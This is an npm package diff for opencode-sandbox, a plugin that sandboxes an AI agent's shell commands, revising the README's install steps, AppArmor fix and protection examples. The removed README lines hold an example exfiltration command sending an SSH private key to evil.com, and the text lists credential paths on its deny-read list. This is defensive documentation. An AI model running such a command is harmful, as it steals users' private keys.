opencode-sandbox 0.1.15 → 0.1.16

package/README.md

@@ -12,19 +12,18 @@ Every `bash` tool invocation is wrapped with OS-level filesystem and network res
 
 ## Install
 
-```bash
-# Add to your opencode config
-# opencode.json
+```json
+// opencode.json
 {
   "plugin": ["opencode-sandbox"]
 }
 ```
 
-The plugin is automatically installed from npm when opencode starts.
+The plugin is automatically installed from npm when OpenCode starts.
 
-### Linux prerequisite
+### Linux prerequisites
 
-Ensure `bubblewrap` is installed:
+**1. Install bubblewrap:**
 
 ```bash
 # Debian/Ubuntu
@@ -37,34 +36,76 @@ sudo dnf install bubblewrap
 sudo pacman -S bubblewrap
 ```
 
-## What it does
+**2. Ubuntu 24.04+ (AppArmor fix):**
+
+Ubuntu 24.04 and later restrict unprivileged user namespaces via AppArmor, which prevents bubblewrap from working. You need to enable the `bwrap-userns-restrict` AppArmor profile:
+
+```bash
+# Install the AppArmor profiles package
+sudo apt install apparmor-profiles
+
+# Create the symlink to enable the profile
+sudo ln -s /etc/apparmor.d/bwrap-userns-restrict /etc/apparmor.d/force-complain/bwrap-userns-restrict
 
-When the agent runs a bash command like:
+# Load the profile
+sudo apparmor_parser -r /etc/apparmor.d/bwrap-userns-restrict
+```
+
+You can verify bwrap works:
 
 ```bash
-curl https://evil.com/exfil?data=$(cat ~/.ssh/id_rsa)
+bwrap --ro-bind / / --dev /dev --proc /proc -- echo "sandbox works"
+```
+
+Without this fix, bwrap will fail with `loopback: Failed RTM_NEWADDR: Operation not permitted` or `setting up uid map: Permission denied`.
+
+## What it does
+
+When the agent runs a bash command, the sandbox enforces three layers of protection:
+
+### Filesystem write protection
+
+Commands can only write to the project directory and `/tmp`. Writing anywhere else returns "Read-only file system":
+
+```
+$ touch ~/some-file
+touch: cannot touch '/home/user/some-file': Read-only file system
+
+$ echo "data" > /etc/config
+/usr/bin/bash: line 1: /etc/config: Read-only file system
+```
+
+### Sensitive file read protection
+
+Access to credential directories is blocked:
+
 ```
+$ cat ~/.ssh/id_rsa
+cat: /home/user/.ssh/id_rsa: Permission denied
+```
+
+### Network allowlist
 
-The sandbox blocks it:
+Only approved domains are reachable. All other traffic is blocked via a local proxy:
 
 ```
-cat: /home/user/.ssh/id_rsa: Operation not permitted
+$ curl https://evil.com
 Connection blocked by network allowlist
+
+$ curl https://registry.npmjs.org
+(works — npmjs.org is in the default allowlist)
 ```
 
 ### Default restrictions
 
 **Filesystem (deny-read)**:
-- `~/.ssh`
-- `~/.gnupg`
-- `~/.aws/credentials`
-- `~/.config/gcloud`
-- `~/.npmrc`
-- `~/.env`
+- `~/.ssh`, `~/.gnupg`
+- `~/.aws/credentials`, `~/.config/gcloud`
+- `~/.npmrc`, `~/.env`
 
 **Filesystem (allow-write)**:
 - Project directory
-- Git worktree
+- Git worktree (validated — unsafe paths like `/` are rejected)
 - `/tmp`
 
 **Network (allow-only)**:
@@ -82,7 +123,8 @@ Everything else is **blocked by default**.
 
 ### Option 1: Config file
 
-```json title=".opencode/sandbox.json"
+```json
+// .opencode/sandbox.json
 {
   "filesystem": {
     "denyRead": ["~/.ssh", "~/.aws/credentials"],
@@ -128,12 +170,14 @@ Or in `.opencode/sandbox.json`:
 The plugin uses two OpenCode hooks:
 
 1. **`tool.execute.before`** — Intercepts bash commands and wraps them with `SandboxManager.wrapWithSandbox()` before execution
-2. **`tool.execute.after`** — Detects sandbox-blocked operations in the output and annotates them for the agent
+2. **`tool.execute.after`** — Restores the original command in the UI (hides the bwrap wrapper)
 
 ```
-Agent → bash tool → [plugin wraps command] → sandboxed execution → [plugin annotates blocks] → Agent
+Agent → bash tool → [plugin wraps command] → sandboxed execution → [plugin restores UI] → Agent
 ```
 
+The AI model interprets sandbox errors (like "Read-only file system" or "Connection blocked") directly from command output — no additional annotation layer needed.
+
 ### Fail-open design
 
 If anything goes wrong (sandbox init fails, wrapping fails, platform unsupported), commands run normally without sandbox. The plugin never breaks your workflow.
@@ -149,9 +193,8 @@ bun install
 # Run tests
 bun test
 
-# Use as local plugin
-# In your project's .opencode/plugins/sandbox.ts:
-export { SandboxPlugin } from "/path/to/opencode-sandbox/src/index"
+# Build
+bun run build
 ```
 
 ## Architecture
@@ -159,10 +202,10 @@ export { SandboxPlugin } from "/path/to/opencode-sandbox/src/index"
 ```
 src/
 ├── index.ts    # Plugin entry — exports SandboxPlugin, hooks into tool.execute.before/after
-└── config.ts   # Config loading (env var, .opencode/sandbox.json) + defaults + resolution
+└── config.ts   # Config loading (env var, .opencode/sandbox.json) + defaults + path validation
 
 test/
-├── config.test.ts   # Unit tests for config resolution
+├── config.test.ts   # Unit tests for config resolution and path safety
 └── plugin.test.ts   # Integration tests for plugin hooks
 ```
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "opencode-sandbox",
-  "version": "0.1.15",
+  "version": "0.1.16",
   "description": "OpenCode plugin that sandboxes agent commands using @anthropic-ai/sandbox-runtime (seatbelt on macOS, bubblewrap on Linux)",
   "type": "module",
   "main": "dist/index.js",